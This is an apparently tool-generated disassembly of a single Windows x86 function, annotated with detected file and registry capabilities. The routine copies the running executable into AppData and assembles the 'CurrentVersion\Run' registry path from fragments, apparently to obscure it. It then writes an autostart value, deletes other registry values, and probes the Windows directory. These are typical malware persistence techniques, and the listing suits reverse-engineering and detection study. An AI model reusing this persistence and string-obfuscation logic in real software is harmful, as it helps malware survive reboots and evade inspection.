Function at 0x40182a
Capabilities:
Create directory
Delete directory
Delete file
Delete registry value
Get common file path
Move file
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x738
mov eax, dword [0x41d060]
xor eax, ebp
mov dword [ebp + 0x74], eax
push ebx
push esi
push edi
mov esi, 0x103
push esi
xor ebx, ebx
mov edi, ecx
lea eax, [ebp - 0x3a3]
push ebx
push eax
mov dword [ebp - 0x6bc], edi
mov byte [edi], 0
mov byte [ebp - 0x3a4], 0
call fcn.0040a990
push esi
lea eax, [ebp - 0x23b]
push ebx
push eax
mov byte [ebp - 0x23c], bl
call fcn.0040a990
add esp, 0x18
push 1
push 0x8020
lea eax, [ebp - 0x23c]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
jne 0x4018c0
push 0xa
push 0xa
push edi
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
call fcn.004042ca
add esp, 0x10
push str.:ICSH
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
xor al, al
jmp 0x402294
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x41a5f4
lea eax, [ebp - 0x23c]
push eax
call esi
push 0x41a5f8
lea eax, [ebp - 0x23c]
push eax
call esi
push 0x41a5fc
lea eax, [ebp - 0x23c]
push eax
call esi
push 0x41a600
lea eax, [ebp - 0x23c]
push eax
call esi
push 0x41a604
lea eax, [ebp - 0x23c]
push eax
call esi
push ebx
push 0x80
push 4
push ebx
push 1
push 0xc0000000
lea eax, [ebp - 0x23c]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 0x6b8], eax
cmp eax, 0xffffffff
jne 0x401955
push 0xa
push 0xa
push edi
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
call fcn.004042ca
add esp, 0x10
push 0x41a608
push edi
call esi
jmp 0x4018b9
push ebx
push 0xfff
push ebx
push 4
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingA]
mov dword [ebp - 0x6c0], eax
cmp eax, ebx
jne 0x40199d
push 0xa
push 0xa
push edi
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
call fcn.004042ca
add esp, 0x10
push str.:MS1
push edi
call esi
push dword [ebp - 0x6b8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x4018b9
push 0x1e8
push ebx
push ebx
push 2
push eax
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
mov dword [0x41f914], eax
cmp eax, ebx
jne 0x4019ed
push 0xa
push 0xa
push edi
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
call fcn.004042ca
add esp, 0x10
push str.:MS2
push edi
call esi
push dword [ebp - 0x6c0]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push dword [ebp - 0x6b8]
call esi
jmp 0x4018b9
push dword [ebp - 0x6c0]
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call edi
push dword [ebp - 0x6b8]
call edi
push 0x103
lea eax, [ebp - 0x5af]
push ebx
push eax
mov byte [ebp - 0x5b0], bl
call fcn.0040a990
xor eax, eax
mov byte [ebp + 0x14], bl
lea edi, [ebp + 0x15]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 0xc
stosb byte es:[edi], al
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x41a61c
lea eax, [ebp + 0x14]
push eax
call edi
push 0x41a620
lea eax, [ebp + 0x14]
push eax
call esi
push 0x41a624
lea eax, [ebp + 0x14]
push eax
call esi
push 1
push 0x801a
lea eax, [ebp - 0x5b0]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
jne 0x401a96
push 0xa
push 0xa
push dword [ebp - 0x6bc]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
call fcn.004042ca
add esp, 0x10
push str.:ApDt
push dword [ebp - 0x6bc]
jmp 0x40194e
push 0x41a5f4
lea eax, [ebp - 0x5b0]
push eax
call esi
lea eax, [ebp + 0x14]
push eax
lea eax, [ebp - 0x5b0]
push eax
call esi
push 0x41a5f4
lea eax, [ebp - 0x5b0]
push eax
call esi
lea eax, [ebp - 0x5b0]
push eax
lea eax, [ebp - 0x3a4]
push eax
call edi
lea eax, [ebp + 0x14]
push eax
lea eax, [ebp - 0x3a4]
push eax
call esi
push 0x41a630
lea eax, [ebp - 0x3a4]
push eax
call esi
push 0x41a634
lea eax, [ebp - 0x3a4]
push eax
call esi
lea eax, [ebp - 0x3a4]
push eax
call fcn.0040121e
push ebx
push dword [0x41f914]
call dword [sym.imp.KERNEL32.DLL_FlushViewOfFile]
lea edi, [ebp - 0x23c]
call fcn.00401369
push 0x63
lea eax, [ebp - 0x29f]
push ebx
push eax
mov byte [ebp - 0x2a0], bl
call fcn.0040a990
add esp, 0xc
push 0x64
mov eax, edi
push 0x5c
push eax
call fcn.00404300
pop ecx
pop ecx
inc eax
push eax
lea eax, [ebp - 0x2a0]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpynA]
lea eax, [ebp - 0x2a0]
push 0x2e
push eax
call fcn.00404300
pop ecx
pop ecx
cmp eax, ebx
je 0x401b67
mov byte [eax], bl
push 0x104
lea eax, [ebp - 0x6b4]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x3a4]
push eax
lea eax, [ebp - 0x6b4]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpiA]
test eax, eax
je 0x401f81
push 0x10d
lea eax, [ebp - 0x137]
push ebx
push eax
mov byte [ebp - 0x138], bl
call fcn.0040a990
add esp, 0xc
lea eax, [ebp - 0x23c]
push eax
lea eax, [ebp - 0x138]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x20
push 5
lea eax, [ebp - 0x138]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea eax, [ebp + eax - 0x138]
push eax
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
xor edx, edx
mov ecx, 0x270f
div ecx
push edx
call fcn.004042ca
mov edi, dword [sym.imp.KERNEL32.DLL_MoveFileExA]
add esp, 0x10
push 1
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0x23c]
push eax
call edi
lea eax, [ebp - 0x138]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x401c2b
push 4
push ebx
lea eax, [ebp - 0x138]
push eax
call edi
lea eax, [ebp - 0x138]
push 0x5c
push eax
call fcn.00404300
pop ecx
pop ecx
cmp eax, ebx
je 0x401c41
mov byte [eax], bl
lea eax, [ebp - 0x138]
push eax
call dword [sym.imp.KERNEL32.DLL_RemoveDirectoryA]
test eax, eax
jne 0x401c5e
push 4
push ebx
lea eax, [ebp - 0x138]
push eax
call edi
push ebx
lea eax, [ebp - 0x5b0]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
lea eax, [ebp - 0x3a4]
push eax
lea eax, [ebp - 0x6b4]
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileA]
mov ecx, dword [0x41f914]
lea ebx, [ebp - 0x3a4]
call fcn.004012e6
xor ebx, ebx
push ebx
push dword [0x41f914]
call dword [sym.imp.KERNEL32.DLL_FlushViewOfFile]
push 0x3b
lea eax, [ebp + 0x29]
push ebx
push eax
mov dword [ebp - 0x6b8], ebx
mov byte [ebp + 0x28], bl
call fcn.0040a990
add esp, 0xc
push 0x41a638
lea eax, [ebp + 0x28]
push eax
call esi
mov ebx, 0x41a5be
push ebx
lea eax, [ebp + 0x28]
push eax
call esi
push 0x41a63c
lea eax, [ebp + 0x28]
push eax
call esi
push 0x41a640
lea eax, [ebp + 0x28]
push eax
call esi
push ebx
lea eax, [ebp + 0x28]
push eax
call esi
push ebx
lea eax, [ebp + 0x28]
push eax
call esi
push ebx
lea eax, [ebp + 0x28]
push eax
call esi
push 0x41a644
lea eax, [ebp + 0x28]
push eax
call esi
mov edi, 0x41a5f4
push edi
lea eax, [ebp + 0x28]
push eax
call esi
push ebx
lea eax, [ebp + 0x28]
push eax
call esi
push ebx
lea eax, [ebp + 0x28]
push eax
call esi
push str.Micro
lea eax, [ebp + 0x28]
push eax
call esi
push ebx
lea eax, [ebp + 0x28]
push eax
call esi
push ebx
lea eax, [ebp + 0x28]
push eax
call esi
push str.soft
lea eax, [ebp + 0x28]
push eax
call esi
push ebx
lea eax, [ebp + 0x28]
push eax
call esi
push ebx
lea eax, [ebp + 0x28]
push eax
call esi
push edi
lea eax, [ebp + 0x28]
push eax
call esi
push ebx
lea eax, [ebp + 0x28]
push eax
call esi
push ebx
lea eax, [ebp + 0x28]
push eax
call esi
push ebx
lea eax, [ebp + 0x28]
push eax
call esi
push str.Windows
lea eax, [ebp + 0x28]
push eax
call esi
push ebx
lea eax, [ebp + 0x28]
push eax
call esi
push ebx
lea eax, [ebp + 0x28]
push eax
call esi
push edi
lea eax, [ebp + 0x28]
push eax
call esi
push ebx
lea eax, [ebp + 0x28]
push eax
call esi
push ebx
lea eax, [ebp + 0x28]
push eax
call esi
push str.Current
lea eax, [ebp + 0x28]
push eax
call esi
push ebx
lea eax, [ebp + 0x28]
push eax
call esi
push ebx
lea eax, [ebp + 0x28]
push eax
call esi
push ebx
lea eax, [ebp + 0x28]
push eax
call esi
push str.Vrsion1
lea eax, [ebp + 0x28]
push eax
call esi
push 0x41a644
lea eax, [ebp + 0x28]
push eax
call esi
push ebx
lea eax, [ebp + 0x28]
push eax
call esi
push 0x41a66c
lea eax, [ebp + 0x28]
push eax
call esi
push 0x41a670
lea eax, [ebp + 0x28]
push eax
call esi
push 0x41a674
lea eax, [ebp + 0x28]
push eax
call esi
push ebx
lea eax, [ebp + 0x28]
push eax
call esi
push ebx
lea eax, [ebp + 0x28]
push eax
call esi
push 0x41a678
lea eax, [ebp + 0x28]
push eax
call esi
push ebx
lea eax, [ebp + 0x28]
push eax
call esi
push 0x41a67c
lea eax, [ebp + 0x28]
push eax
call esi
push 0x41a680
lea eax, [ebp + 0x28]
push eax
call esi
push ebx
lea eax, [ebp + 0x28]
push eax
call esi
push 0x41a684
lea eax, [ebp + 0x28]
push eax
call esi
lea eax, [ebp - 0x6b8]
push eax
lea eax, [ebp + 0x28]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x401f86
push 0x105
push eax
mov byte [ebp - 0x4ac], al
lea eax, [ebp - 0x4ab]
push eax
call fcn.0040a990
add esp, 0xc
mov edi, 0x41a5b0
push edi
lea eax, [ebp - 0x4ac]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [ebp - 0x3a4]
push eax
lea eax, [ebp - 0x4ac]
push eax
call esi
push edi
lea eax, [ebp - 0x4ac]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
push 0x41f810
call edi
test eax, eax
jle 0x401ed4
push 0x41a5b4
lea eax, [ebp - 0x4ac]
push eax
call esi
push 0x41f810
lea eax, [ebp - 0x4ac]
push eax
call esi
lea eax, [ebp - 0x2a0]
push eax
push dword [ebp - 0x6b8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
lea eax, [ebp - 0x4ac]
push eax
call edi
push eax
lea eax, [ebp - 0x4ac]
push eax
push 1
push 0
lea eax, [ebp + 0x14]
push eax
push dword [ebp - 0x6b8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x6b8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x6b8]
push eax
lea eax, [ebp + 0x28]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x401f86
mov byte [ebp + 0x68], al
lea edi, [ebp + 0x69]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosb byte es:[edi], al
push 0x41a688
lea eax, [ebp + 0x68]
push eax
call esi
mov edi, 0x41a67c
push edi
lea eax, [ebp + 0x68]
push eax
call esi
push edi
lea eax, [ebp + 0x68]
push eax
call esi
push 0x41a68c
lea eax, [ebp + 0x68]
push eax
call esi
push 0x41a690
lea eax, [ebp + 0x68]
push eax
call esi
lea eax, [ebp + 0x68]
push eax
push dword [ebp - 0x6b8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x401f86
mov ebx, 0x41a5be
push 0x10d
lea eax, [ebp - 0x137]
push 0
push eax
mov byte [ebp - 0x138], 0
call fcn.0040a990
add esp, 0xc
mov edi, 0x104
push edi
lea eax, [ebp - 0x138]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
test eax, eax
je 0x40206a
cmp eax, edi
je 0x40206a
push 0x41a694
mov edi, 0x41f6f4
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x41a698
lea eax, [ebp - 0x138]
push eax
call esi
push 0x10
push 6
lea eax, [ebp - 0x138]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea eax, [ebp + eax - 0x138]
push eax
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
xor edx, edx
mov ecx, 0x1869f
div ecx
push edx
call fcn.004042ca
add esp, 0x10
push 0
lea eax, [ebp - 0x138]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
test eax, eax
jne 0x402030
push 0x41a69c
jmp 0x402046
lea eax, [ebp - 0x138]
push eax
call dword [sym.imp.KERNEL32.DLL_RemoveDirectoryA]
test eax, eax
jne 0x40206a
push 0x41a6a0
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0xa
push 0xa
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
add eax, edi
push eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
call fcn.004042ca
add esp, 0x10
and dword [ebp - 0x6b8], 0
lea eax, [ebp - 0x6b8]
push eax
push 0
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x40212a
mov byte [ebp + 0x64], al
lea edi, [ebp + 0x65]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x41a63c
lea eax, [ebp + 0x64]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov edi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
push 0xa
push 0xa
lea eax, [ebp + 0x64]
push eax
call edi
lea eax, [ebp + eax + 0x64]
push eax
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
xor edx, edx
mov ecx, 0x3e7
div ecx
push edx
call fcn.004042ca
add esp, 0x10
lea eax, [ebp + 0x64]
push eax
call edi
push eax
lea eax, [ebp + 0x64]
push eax
push 1
push 0
push eax
push dword [ebp - 0x6b8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x402112
push 0x41a6a4
push 0x41f6f4
call esi
lea eax, [ebp + 0x64]
push eax
push dword [ebp - 0x6b8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x40211e
push 0x41a6a8
push 0x41f6f4
call esi
push dword [ebp - 0x6b8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
mov edi, 0x41fa28
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x41a6ac
push edi
call esi
push 0x41a63c
push edi
call esi
push ebx
push edi
call esi
push 0x41a63c
push edi
call esi
push str.p:__
push edi
call esi
push ebx
push edi
call esi
push ebx
push edi
call esi
push 0x41a6b8
push edi
call esi
push ebx
push edi
call esi
push ebx
push edi
call esi
push 0x41a6bc
push edi
call esi
push ebx
push edi
call esi
push ebx
push edi
call esi
push 0x41a6c0
push edi
call esi
push 0x41a6c4
push edi
call esi
push 0x41a6c8
push edi
call esi
push ebx
push edi
call esi
push 0x41a6cc
push edi
call esi
push ebx
push edi
call esi
push ebx
push edi
call esi
push str.main
push edi
call esi
push ebx
push edi
call esi
push ebx
push edi
call esi
push 0x41a670
push edi
call esi
push ebx
push edi
call esi
push 0x41a63c
push edi
call esi
push 0x41a6d8
push edi
call esi
push 0x41a61c
push edi
call esi
push ebx
push edi
call esi
push 0x41a6dc
push edi
call esi
push 0x3b
lea eax, [ebp - 0x27]
push 0
push eax
mov byte [ebp - 0x28], 0
call fcn.0040a990
add esp, 0xc
push edi
lea eax, [ebp - 0x28]
push eax
call esi
push ebx
lea eax, [ebp - 0x28]
push eax
call esi
push 0x41a6e0
lea eax, [ebp - 0x28]
push eax
call esi
push 0x41a63c
lea eax, [ebp - 0x28]
push eax
call esi
push 0x41a6e4
lea eax, [ebp - 0x28]
push eax
call esi
push ebx
lea eax, [ebp - 0x28]
push eax
call esi
push 0x41a6e8
lea eax, [ebp - 0x28]
push eax
call esi
push 0x41a6c4
lea eax, [ebp - 0x28]
push eax
call esi
push ebx
lea eax, [ebp - 0x28]
push eax
call esi
push 0x41a6ec
lea eax, [ebp - 0x28]
push eax
call esi
lea eax, [ebp - 0x6bc]
push eax
push 0x41f918
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x6bc], 0x104
call fcn.00403921
pop ecx
pop ecx
test al, al
je 0x402292
mov eax, dword [ebp - 0x6bc]
mov byte [eax + 0x41f918], 0
mov al, 1
mov ecx, dword [ebp + 0x74]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404045
add ebp, 0x78
leave
ret